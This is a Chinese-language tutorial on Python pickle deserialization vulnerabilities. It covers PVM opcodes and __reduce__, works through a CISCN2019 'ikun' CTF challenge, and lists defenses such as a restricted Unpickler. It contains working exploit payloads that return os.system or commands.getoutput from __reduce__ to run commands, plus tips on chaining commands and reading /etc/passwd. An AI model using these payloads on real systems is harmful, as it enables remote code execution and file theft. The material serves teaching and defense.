Python Pickle反序列化漏洞
字数 2632 2025-08-15 21:32:16

Python Pickle反序列化漏洞深入解析

1. Pickle模块基础

1.1 Pickle/CPickle简介

  • Pickle:Python标准模块,纯Python实现,用于数据序列化和反序列化
  • cPickle:C语言实现,功能相同但性能更好(Python2中区分,Python3中已统一)

1.2 核心函数

函数 描述
dumps 将Python对象序列化为bytes对象
dump 将Python对象序列化并写入文件(需以二进制模式wb打开)
loads 从bytes对象反序列化还原Python对象
load 从文件(需以二进制模式rb打开)读取数据并反序列化为Python对象

2. PVM(Python虚拟机)机制

2.1 PVM的作用

  • 解释执行Python字节码
  • Pickle模块基于轻量级PVM实现序列化和反序列化

2.2 PVM的组成

  1. 指令处理器:读取并解释操作码和参数
  2. 栈区(stack):用Python列表实现,作为数据处理暂存区
  3. 标签区(memo):用Python字典实现,存储数据索引和标记

2.3 关键操作码

操作码 功能描述
c 读取模块名和对象名,压入可调用对象
( 压入标记对象,确定命令执行位置
S 读取字符串内容并压入栈
t 弹出数据形成元组并压入栈
R 弹出元组和可调用对象,执行并将结果压入栈
. 结束反序列化过程

3. 反序列化漏洞原理

3.1 漏洞根源

  • __reduce__()魔术方法在反序列化时自动调用
  • 类似PHP的__wakeup()方法
  • R操作码是__reduce__()的底层实现

3.2 漏洞利用条件

  1. 可控制被反序列化的数据
  2. 存在危险函数调用(如命令执行函数)
  3. 反序列化过程未做安全过滤

3.3 典型漏洞场景

  1. 解析认证token或session时
  2. 将Pickle对象存储为磁盘文件
  3. 网络传输Pickle对象
  4. 参数传递给程序时

4. 漏洞利用技术

4.1 基础利用方法

import pickle
import os

class Exploit(object):
    def __reduce__(self):
        cmd = "/usr/bin/id"  # 要执行的命令
        return (os.system, (cmd,))  # 返回元组(可调用对象, 参数元组)

# 生成payload
payload = pickle.dumps(Exploit())
# 触发漏洞
pickle.loads(payload)

4.2 不同执行函数对比

函数 特点
os.system() 执行命令但无法获取输出,只返回状态码
os.popen() 可获取命令输出,但需要print才能显示
commands.getoutput() (Python2)直接返回命令输出,更适合漏洞利用
subprocess.check_output() (Python3)推荐使用的获取命令输出的方法

4.3 高级利用技巧

  1. 多命令执行:当exec被禁用时,可通过分号或管道组合命令

    return (os.system, ('cmd1; cmd2; cmd3',))
    
  2. 文件读写:结合文件操作函数实现数据窃取

    return (open, ('/etc/passwd', 'r'))
    
  3. 模块导入:Pickle会自动尝试import未引入的模块

5. 防御措施

  1. 避免反序列化不可信数据
  2. 使用更安全的替代方案:如json
  3. 签名验证:对序列化数据进行签名
  4. 限制可用类:使用Unpickler的子类并重写find_class方法
    import pickle
    
    class RestrictedUnpickler(pickle.Unpickler):
        def find_class(self, module, name):
            if module == 'os':
                raise pickle.UnpicklingError("禁止导入os模块")
            return super().find_class(module, name)
    

6. 实战案例:[CISCN2019]ikun

6.1 漏洞发现

  1. settings.py中发现提示信息
  2. Admin.py中存在不安全的反序列化点
  3. form.html模板直接回显反序列化结果

6.2 漏洞利用步骤

  1. 构造恶意类生成payload:

    import pickle
    import urllib
    import commands
    
    class payload(object):
        def __reduce__(self):
            return (commands.getoutput, ('ls /',))
    
    a = payload()
    print urllib.quote(pickle.dumps(a))
    
  2. 发现flag文件后读取:

    return (commands.getoutput, ('cat /flag.txt',))
    
  3. URL编码后提交payload实现RCE

7. 注意事项

  1. Python2和Python3的差异:

    • Python2中只有内置类有__reduce__方法
    • Python3默认所有类都是内置类
  2. 输出处理:

    • 确保执行结果能被正确输出(如使用commands.getoutput而非os.system
  3. 环境限制:

    • 注意目标系统的命令路径和可用模块
Python Pickle反序列化漏洞深入解析 1. Pickle模块基础 1.1 Pickle/CPickle简介 Pickle :Python标准模块,纯Python实现,用于数据序列化和反序列化 cPickle :C语言实现,功能相同但性能更好(Python2中区分,Python3中已统一) 1.2 核心函数 | 函数 | 描述 | |--------|----------------------------------------------------------------------| | dumps | 将Python对象序列化为bytes对象 | | dump | 将Python对象序列化并写入文件(需以二进制模式wb打开) | | loads | 从bytes对象反序列化还原Python对象 | | load | 从文件(需以二进制模式rb打开)读取数据并反序列化为Python对象 | 2. PVM(Python虚拟机)机制 2.1 PVM的作用 解释执行Python字节码 Pickle模块基于轻量级PVM实现序列化和反序列化 2.2 PVM的组成 指令处理器 :读取并解释操作码和参数 栈区(stack) :用Python列表实现,作为数据处理暂存区 标签区(memo) :用Python字典实现,存储数据索引和标记 2.3 关键操作码 | 操作码 | 功能描述 | |--------|--------------------------------------------------------------------------| | c | 读取模块名和对象名,压入可调用对象 | | ( | 压入标记对象,确定命令执行位置 | | S | 读取字符串内容并压入栈 | | t | 弹出数据形成元组并压入栈 | | R | 弹出元组和可调用对象,执行并将结果压入栈 | | . | 结束反序列化过程 | 3. 反序列化漏洞原理 3.1 漏洞根源 __reduce__() 魔术方法在反序列化时自动调用 类似PHP的 __wakeup() 方法 R操作码是 __reduce__() 的底层实现 3.2 漏洞利用条件 可控制被反序列化的数据 存在危险函数调用(如命令执行函数) 反序列化过程未做安全过滤 3.3 典型漏洞场景 解析认证token或session时 将Pickle对象存储为磁盘文件 网络传输Pickle对象 参数传递给程序时 4. 漏洞利用技术 4.1 基础利用方法 4.2 不同执行函数对比 | 函数 | 特点 | |------------------------|----------------------------------------------------------------------| | os.system() | 执行命令但无法获取输出,只返回状态码 | | os.popen() | 可获取命令输出,但需要print才能显示 | | commands.getoutput() | (Python2)直接返回命令输出,更适合漏洞利用 | | subprocess.check_ output() | (Python3)推荐使用的获取命令输出的方法 | 4.3 高级利用技巧 多命令执行 :当 exec 被禁用时,可通过分号或管道组合命令 文件读写 :结合文件操作函数实现数据窃取 模块导入 :Pickle会自动尝试import未引入的模块 5. 防御措施 避免反序列化不可信数据 使用更安全的替代方案 :如json 签名验证 :对序列化数据进行签名 限制可用类 :使用 Unpickler 的子类并重写 find_class 方法 6. 实战案例:[ CISCN2019 ]ikun 6.1 漏洞发现 在 settings.py 中发现提示信息 Admin.py 中存在不安全的反序列化点 form.html 模板直接回显反序列化结果 6.2 漏洞利用步骤 构造恶意类生成payload: 发现flag文件后读取: URL编码后提交payload实现RCE 7. 注意事项 Python2和Python3的差异: Python2中只有内置类有 __reduce__ 方法 Python3默认所有类都是内置类 输出处理: 确保执行结果能被正确输出(如使用 commands.getoutput 而非 os.system ) 环境限制: 注意目标系统的命令路径和可用模块